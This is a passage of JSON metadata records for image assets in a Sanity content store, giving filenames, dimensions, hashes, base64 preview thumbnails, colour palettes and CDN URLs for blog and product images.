27f4fc8d65b4b610086-5720x2280.png","sha1hash":"6c35d762229583864378e27f4fc8d65b4b610086","size":296319,"uploadId":"jJFgt3nWKf7YftemJAwAIJNAFgS46o3W","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c35d762229583864378e27f4fc8d65b4b610086-5720x2280.png"} {"_createdAt":"2023-01-31T10:39:47Z","_id":"image-6c531762372c6435d0e0175c32c1b66721b0ed2e-1472x577-png","_rev":"6wJ6OxF1mPB2I3zegQJY2v","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:51:34Z","altText":null,"assetId":"6c531762372c6435d0e0175c32c1b66721b0ed2e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.551126516464471,"height":577,"width":1472},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA4ElEQVQYlXWQTW7DIBCFuf8im94gi0pV1931DFFSVVlUzcKpFPfHxhgwMOMZiGISp0Xp06cnZjQP0AgiZubss2KMqVCM0QO+7uzySS/u9d2jfXgWIQAATg6IIyKO48jMZTilxMx6oOoT3iqz3bXbdzFNIwCe0hcnovi/AOBwqNebF5FrIg4BjLFaG62tc276Ad1kGFy1/1it1ucwMzvnpVRNI5tGSqmU0n1vbtJ1/fdPW9df4roOH5TSbatmpCzJ/a473WvtcA6nlIgob+4v4Xfp/XxGRLyGp/czheZ+OXAETeTNtSaPwrAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44444c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf0634","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cc8b9b","foreground":"#000","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc8b9b","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6ca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8295b","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-edit-sink-schema.png","path":"images/sczeoy4w/production/6c531762372c6435d0e0175c32c1b66721b0ed2e-1472x577.png","sha1hash":"6c531762372c6435d0e0175c32c1b66721b0ed2e","size":13563,"title":null,"uploadId":"zwJk6W5WfePccor531hrQKPXziSw4x8I","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c531762372c6435d0e0175c32c1b66721b0ed2e-1472x577.png"} {"_createdAt":"2022-06-30T20:09:16Z","_id":"image-6c83218634e7f73506c9a426f18e4296aa8bdbfc-878x394-png","_rev":"QRl2cGoCgj0FlAhkRriBhW","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:34Z","assetId":"6c83218634e7f73506c9a426f18e4296aa8bdbfc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9SY]iNZk8x]ad~qa1WCV[i{?vWBIURPbb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.228426395939086,"height":394,"width":878},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAABOklEQVQokZWR226EMAxE+f8PbVggFyfODVimsinsbvvUSKMI7JzMxEMiglsWFYWA1hqO48ABnPsl+cZrfdSOl4YaE9g6sPPIKSlw33c8n89/6xBgLwWZIkpMaKWg1oqSM0piNLkgJvTEqsqMnLNK+nrvWNcVa+/Y+qpGBin64EFEKALPGc5aTMbAfhm4L4NgRsRpRlgsnHPwISDGqP21VrSc0Tlj6x0DMWEOMyiRFgVorcVoDB7GYBpHLI8H3DzDW6cX84/TC1iZNcnWGgbPHhNNiDneQHGxLIs6EQDFqI5SSnfcDyVGo3gCHTuMYURI4QZ67xV4xXrpDSLuBM6MSvEE1oYh5KBAn/zdLKD3d5LJ/1GpGrMFUnWJLG9YegEVAldGX8+pyfSug/ckf0v+l4o1F6ylaNx92/ANj0i5OycBNiEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#686869","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#70132a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f79bb1","foreground":"#000","population":0.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcb1b3","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f79bb1","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c847c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e46484","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6c83218634e7f73506c9a426f18e4296aa8bdbfc-878x394.png","path":"images/sczeoy4w/production/6c83218634e7f73506c9a426f18e4296aa8bdbfc-878x394.png","sha1hash":"6c83218634e7f73506c9a426f18e4296aa8bdbfc","size":59955,"uploadId":"onHTbMnjhCes0B9DCL0E7V8YNQYehJna","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c83218634e7f73506c9a426f18e4296aa8bdbfc-878x394.png"} {"_createdAt":"2022-06-30T19:57:00Z","_id":"image-6cec92f3f2cd7e8b749e415724141ba11884438a-750x216-png","_rev":"CK1sLU2mnwa3vmbYWEbJxV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:22Z","assetId":"6cec92f3f2cd7e8b749e415724141ba11884438a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D05ONe^*9FIq4T~qw]?bt8Mx","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.4722222222222223,"height":216,"width":750},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGElEQVQYlWWQQZKDIBBFPUZEE1Ei0EADhpmpyv3v5E7/FJjVzOJVU1T3g/7dixR+Xhnv97vxVQoiM5wjGKOh9X+MMSDnEEIAM58xxno+nKO9W+cH9PqEI0JOjBwDgicEZ0FWw5GFJwtTRXq9hM6DfIC7pCdZC7Usxyzl3i3zDLWo1liFZUtIHLAlRgweiT0ye3hnG02ScoOZkXM6rTGY7vdjHIa9e6on9KpBRHiVDV/fBduWUUqpzU3c5Bzag8wBniN8YHjvazynWddLKMTeTY8H5DRBqQWeHWIKLZuUErhm9CHU4cho6ymFutkiZa1nnb+P4zFUoeh7VMZhgJQT5llCXo2Y/1Dv6gcGISB6AdFqf34cR3+77b9Sia6NlXsoqAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292d47","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d4417","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#989696","foreground":"#000","population":0.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#989696","foreground":"#000","population":0.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4d471","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57e53","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac8527","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6cec92f3f2cd7e8b749e415724141ba11884438a-750x216.png","path":"images/sczeoy4w/production/6cec92f3f2cd7e8b749e415724141ba11884438a-750x216.png","sha1hash":"6cec92f3f2cd7e8b749e415724141ba11884438a","size":16156,"uploadId":"1j6glxcqe2Po86Q8FGHa2X9aC8P0BSEE","url":"https://cdn.sanity.io/images/sczeoy4w/production/6cec92f3f2cd7e8b749e415724141ba11884438a-750x216.png"} {"_createdAt":"2023-03-23T12:48:40Z","_id":"image-6d1b413bef33c70c59b691abaf07da67a64f6ba1-1200x630-jpg","_rev":"1oHBwgBQDb4TFd5EYI5yLf","_type":"sanity.imageAsset","_updatedAt":"2023-03-23T12:48:40Z","assetId":"6d1b413bef33c70c59b691abaf07da67a64f6ba1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRQ+?9K+Vs#7p{TdR5axpJrWXTnNg3jci^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCAwQH/8QAIRAAAgICAgEFAAAAAAAAAAAAAQIDBAAFEiEHEUFhkbH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABsRAAICAwEAAAAAAAAAAAAAAAECAxEABDES/9oADAMBAAIRAxEAPwDu8lHYvdZhbZK5YkcW7AzZsrY1mrkmdi5jXot7nLYgBZc9/eLvkZmXSKASA0qg/PeHtuyQMy9rKdOETbCRnhIxh1U72tfBPIoVpF5EDDJ0QFpQAD0AQfmGNGCFAJvAkr2a5ef/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c54","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c25c0c","foreground":"#fff","population":0.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8880c","foreground":"#000","population":4.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8bac2","foreground":"#000","population":0.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9d156","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#77746f","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8880c","foreground":"#000","population":4.77,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Developer_Center_meta_preview.jpg","path":"images/sczeoy4w/production/6d1b413bef33c70c59b691abaf07da67a64f6ba1-1200x630.jpg","sha1hash":"6d1b413bef33c70c59b691abaf07da67a64f6ba1","size":29443,"uploadId":"JlqTVRmvwTYaw870XxTDKCh4xKBCmt1z","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d1b413bef33c70c59b691abaf07da67a64f6ba1-1200x630.jpg"} {"_createdAt":"2024-03-25T14:10:06Z","_id":"image-6d3cce7c3e691fb204b9859af3a962d601419abf-1228x150-png","_rev":"Y34ePYFQ489qDVybEJkfgp","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T14:10:06Z","assetId":"6d3cce7c3e691fb204b9859af3a962d601419abf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"445}%M~D~D~D~C","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":8.186666666666667,"height":150,"width":1228},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAhklEQVQImS2NOwrCABAFcxffFgruQxJjfvtIodFKEAULIWihhX0uYOG5JWoxTDMwyfX+eNe3YcCuX2PetEYdQR3g0cEjM2ph1NKoyjxKo0rzqOBRG7UagUcOxthEknaX13TTPyflvoQ3LagzqBOorVGpUTPzr2tzZWDkcBVgVOBv8HdhVPMBl3Yi4Uk5KocAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#29394e","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c8c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#29394e","foreground":"#fff","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#853413","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec9c7c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c96ae","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea7c1b","foreground":"#fff","population":0.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-aws-marketplace.png","path":"images/sczeoy4w/production/6d3cce7c3e691fb204b9859af3a962d601419abf-1228x150.png","sha1hash":"6d3cce7c3e691fb204b9859af3a962d601419abf","size":17688,"uploadId":"IGwpPkkcFQ1b13SjYMzE2DPqWa71ECN6","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d3cce7c3e691fb204b9859af3a962d601419abf-1228x150.png"} {"_createdAt":"2024-02-12T07:02:43Z","_id":"image-6d6963121de0f726e0919876bc8c6c24f37b13a4-2044x1356-png","_rev":"aqN8LslQ3cZYmtCXJ08oQh","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T07:03:20Z","altText":"The ElephantSQL console, listing the Server, username and default database and password needed.","assetId":"6d6963121de0f726e0919876bc8c6c24f37b13a4","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6S6V%?GS%~WD%XSV[t6M|xY9bIoIUfiNH^,Io-oE1oc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5073746312684366,"height":1356,"width":2044},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB10lEQVQokU1Sy44cIQzs//+T/EUuOUaJIu0hykrJSrs7M900YGz8AnoiZjbRlAqELArsspfX0+XlHP9s9BprRK1irF7FcqGQSkaaEXNiwSosJtbYvIqS6PJ+vpzXsEbYUrns8LbG9zVdYrmkco6wxrIm3DJuj3v+OCxbCDlDneAIeNrSaUtrgjtDKtuNO2AsNWRaMwagADUALQVJRFprvQ8xK8RItSCGPW77HlNOAIWIVcUcqlwgnSEkJhJfKrOq9jHGcZg3JEakUkoI+xZCjAkKiGrrvY0Bwj/Pz99evr3llaxNsTyIASkDIFHBiVrrv7x66yMJP51+fX358QY7qS/MYu7jOI7r1bzlgilDZRE191lLa93MVdW8VW8XwhMCqNf7z+Z+TFzNO1ZGIhaZS9TMmKUgIZKatXHYjd4P9bYQVVG9ZX1Y67OTqtP5lPeYUsopAxQkqnqrvI/RxvA+WH26zSwzeMzHiJVYC/GeIMQcYt5zSYUAK1a+jdB9iryQLHSr70NsLSNHoHmbaqnySKyCrMhaqiaULdeFxUWbefc2xFohTrlAwSqi3qxNkx/YvXVk/32m789p2bNOggLNZOYMU6X63+97Hz5wXK/jOBL6l6f90+fXv2r75/Jy61+xAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c456c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#263c5d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b6bcc2","foreground":"#000","population":1.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6bcc2","foreground":"#000","population":1.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4e169","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#517a3d","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d76b5","foreground":"#fff","population":0.42,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"elephantsql-console.png","path":"images/sczeoy4w/production/6d6963121de0f726e0919876bc8c6c24f37b13a4-2044x1356.png","sha1hash":"6d6963121de0f726e0919876bc8c6c24f37b13a4","size":94928,"title":null,"uploadId":"Hw10lKpbQPCAln2MAsc7HtzMFQi0TXCq","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d6963121de0f726e0919876bc8c6c24f37b13a4-2044x1356.png"} {"_createdAt":"2024-02-15T15:30:55Z","_id":"image-6d6fc299df6da45e92bd61893276cbcd72b6e1a0-3200x800-png","_rev":"UjGmMOs0V2SxB808hz0oGS","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:55Z","assetId":"6d6fc299df6da45e92bd61893276cbcd72b6e1a0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DIM%Q44F3K%fq_M}nQaLs;WV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4,"height":800,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABiklEQVQYlSXQW0vCYAAG4P2W9Pvc/LaydP0SryLIMJqVdkCxpqt0jjQ0RROzaW0LYW5Ki8qORFcdtAIPBVEXQb8kRhcP78t7+WJuYdI5lZ11enYY2jSVZWhPwuNi/RP07sw0LTI+V2VuzqkEAmNGODx8zXHodn0dtViWPFpcHC0zjGvf56OLXi+97XaPY77q8jCrxUhO4ylTxHSwRuWEJUcjxo2cJlNUK5NGrXQa3RcKRFsUbW/VKnwql20XmQwykknKSCWpY56nan6/A4teCXjxpQLKrxIU32RQej0Exbs81A4Eol3dwwdqHXwZhnWgaeBD18G7roNvw7D8np8PmVtPVUFXVUFPUeCDIBDY6iWPZ59LsNAW4W5HBLn2Psjd7sC6GCc6pTw+kGT4parWviyDgaIAMz9rNeuPrlnM3pMk2JUl2K9U4GM8jmNeKYBWGhEUbHJkqMmhlUYUheSgPR9fIM9WQ+QNx5H3sZjd/O5uc8P+JAh4Z2vL9pBIEOZ29Y+8Zll0Mj+P/gA5d8D1SKPHvgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#51343c","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#250405","foreground":"#fff","population":1.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#250405","foreground":"#fff","population":1.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a0e12","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2878a","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#683d42","foreground":"#fff","population":0.33,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6181f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-columns.png","path":"images/sczeoy4w/production/6d6fc299df6da45e92bd61893276cbcd72b6e1a0-3200x800.png","sha1hash":"6d6fc299df6da45e92bd61893276cbcd72b6e1a0","size":371926,"uploadId":"lP3D34XM1deGCNItXHh8E2mORCFeuqlm","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d6fc299df6da45e92bd61893276cbcd72b6e1a0-3200x800.png"} {"_createdAt":"2022-06-16T22:54:07Z","_id":"image-6d7f8cd0c49dc664d196df097484fac5737ff057-306x110-png","_rev":"oamrAPLmQLQjd9jh7ZoGqU","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:07Z","assetId":"6d7f8cd0c49dc664d196df097484fac5737ff057","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D16b19?b4T-;000BM}${V@^%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7818181818181817,"height":110,"width":306},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsSAAALEgHS3X78AAABsUlEQVQokS2Ne08aURDFr3RVilaFKnUHWTXURG2TkQWa0kfSpIovFsrcVZZ93Dv7ANP2E/XT2izuH5OTnPM7Z0TjglYBqQ5IJiBZgPShuENAOi68BiCdAtI5IB0A0vucaVws89z7CEg1QBICkMqAZAPSNSDdANIjIDmA8gsguYDkAdIAkMaANDFfOAKkESDljCw6+cOSMJEMQOoA0qwo+SaSNFF+N5ECE+l3UfAKJh+LTKQHQPoBL3oHSE1AWhH9S0+0ei4cdWXXsuWZZS/183HXPWt9cu2jjuxbtrSb7aX3rdVz25Yte5Yt+4cdeZ53mm25D0irmycjIZKYV9xptH33K9i9HgVbt+PAvHL8g9tx8G7yEMFwEtYvh7Pq1yuv9vPe33co3B04wd7A8a2bcVAfUrjz6Kn15+d/wqFQiJi5lMb8Zp7y9iLlSpbw2yzhvTTmasJcmye8uUh05c+cy3+fkspTFm/MU97KEq5nCVfTON5hzRuer0uLLF4OCtZ6TStdUUqvR5Euh6Eqh6Fe8wNlTL2o5PuRMZ1FrzxfGWGkjTzLmZxViita8WuluMSaxX95BYYU2XXMcAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c304b","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c294c","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c294c","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#144784","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cb8ec","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c6c","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2276dc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-vendep.png","path":"images/sczeoy4w/production/6d7f8cd0c49dc664d196df097484fac5737ff057-306x110.png","sha1hash":"6d7f8cd0c49dc664d196df097484fac5737ff057","size":2266,"uploadId":"fSdrV41O5YnoyRbnBfZepoazHDknvd9B","url":"https://cdn.sanity.io/images/sczeoy4w/production/6d7f8cd0c49dc664d196df097484fac5737ff057-306x110.png"} {"_createdAt":"2024-08-12T16:51:55Z","_id":"image-6db50db8c182b46cd35eaed36868385373482588-1950x1097-webp","_rev":"oQlTIlt147Q1NLyECp0oPF","_type":"sanity.imageAsset","_updatedAt":"2024-08-12T16:51:55Z","assetId":"6db50db8c182b46cd35eaed36868385373482588","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFATl}ITflD%RP~qM_bHM{WBI8R*WVxukD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775752051048315,"height":1097,"width":1950},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMHCP/EAB4QAAICAwADAQAAAAAAAAAAAAECAxEABAUGEiFR/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgD/xAAbEQEAAgIDAAAAAAAAAAAAAAABAAIREiFBUf/aAAwDAQACEQMRAD8AnXi23zI9OVz2RqlkLH2F1iOb1dNdPZZOrsB5Gqm+2P0ZNQSAYwaQr9GOZFXmIyimurvHSx0EsPsv3L8j4Y0YRMzO4Wiy+ovDM8xzSKtK7AX+4YnV5hyk/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#525434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1261ab","foreground":"#fff","population":0.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbb1a2","foreground":"#000","population":4.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbb1a2","foreground":"#000","population":4.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7dbde6","foreground":"#000","population":0.39,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#707ca2","foreground":"#fff","population":2.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#22a7d1","foreground":"#fff","population":0.29,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"tv2-screenroom.webp","path":"images/sczeoy4w/production/6db50db8c182b46cd35eaed36868385373482588-1950x1097.webp","sha1hash":"6db50db8c182b46cd35eaed36868385373482588","size":248496,"uploadId":"nxlIRkiE6m00VDe75E211Ztbzhpq8x9a","url":"https://cdn.sanity.io/images/sczeoy4w/production/6db50db8c182b46cd35eaed36868385373482588-1950x1097.webp"} {"_createdAt":"2022-06-15T20:02:23Z","_id":"image-6dbf4052a8164bd624c21ffec4f8fcb4845addd1-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdLA0","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:41Z","assetId":"6dbf4052a8164bd624c21ffec4f8fcb4845addd1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MROzAD_L?HD+xuKU-mE1D+-:$e9Z%K%3M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADKUlEQVQokUXM/08bZRzA8fvf/AMWNdE4l6jZcJkkcywwHBXSrRApgsNaNyFFxjIcLe0GdgNkBJ2UL2u7fsNe1+v17np3tPR5nuvd9VrKQvr5mLkf/OGd129vTlJq14sldf61UIkUS+qyUNLCpbIe/k9RD6s6CxPmhKu19vKfa83I6GW2Nvg+2Xg4Za3wGSesa63l2nErQlhrgTJnmONfy3Ov0rwQT+YaieQhfZXOs0yuyFIZnqUyBSaWdUZog2mqyVaXDObq0RtXPyiYnt6cMTchsshsne49J4YiEYlRM8JVNBISpSNDEDV8mygdoVypoSRXsSxX8ahmoGlaqCkUV4IKDve9xK8vhrCvJ4DXP4vi4Pk0+m8l8K+NrK2K1S2OsNYSYS1CaBMJtbvUcMC0TsCyO2DZ76SNU8gLDiw/LsHYaAQGb0zBjf7voO/LGbh6Ptx1ffUI741vNfbWlU2OGu0gNdqUMhsZZWAYFlp2G51WB9vtDjadE1SO3+Df2VNciPA4PrmIbk8A3bdncPibaXQP+OB2/zxO3twx1xYqmxxlTpAyh1JqvRvSBjYMCx3bwU7LwXbTxDp1MCPYGIoe4PTPi+ibWcdJXwSGRybA456GO+Pr+MBfNPefKZscY1bQYCZtvB1R1jUpBYsSsCkBi9bAqqtgHldAFgvwNPo7zN9fhOgfcQit7sIPvnn40R+GUIjHg23dquWFLc4kJGjW68SsH6NVr3Xt+hEwXYZyPguZ+B7Ed7bhxcYKPHkUgBn/JIQeBqCQ3odi/h+IxeIQix12+bSERCiSN1pulWtWxFBDFhiVBTT1Mlq6iHwyhk+Ci7jw6xzO/nIX3d8O4ZWeL3DgWi9Gf7uHRuE5nqr76ChJbFZy2FGzZ2daMgV6coRrFdN+I59MVflUxZDzEivn5J31x/JPU+PymOeW7Bq6qV7uuVi99PkF3ePqV3ajD+ST0raM6o4M6q6M2p6M2kEetZdzoCXOcSfy4afNcnbElHITjsp7LSnrzb545l0K+Lwe14D3wicf3fn4w3Ozo0PX7m4GZ7/XkhveM2Xfi1rcC/83BlqiF7TEe/8CABnEMHlHbNoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a4741","foreground":"#fff","population":0.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f3a9f","foreground":"#fff","population":0.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#613bea","foreground":"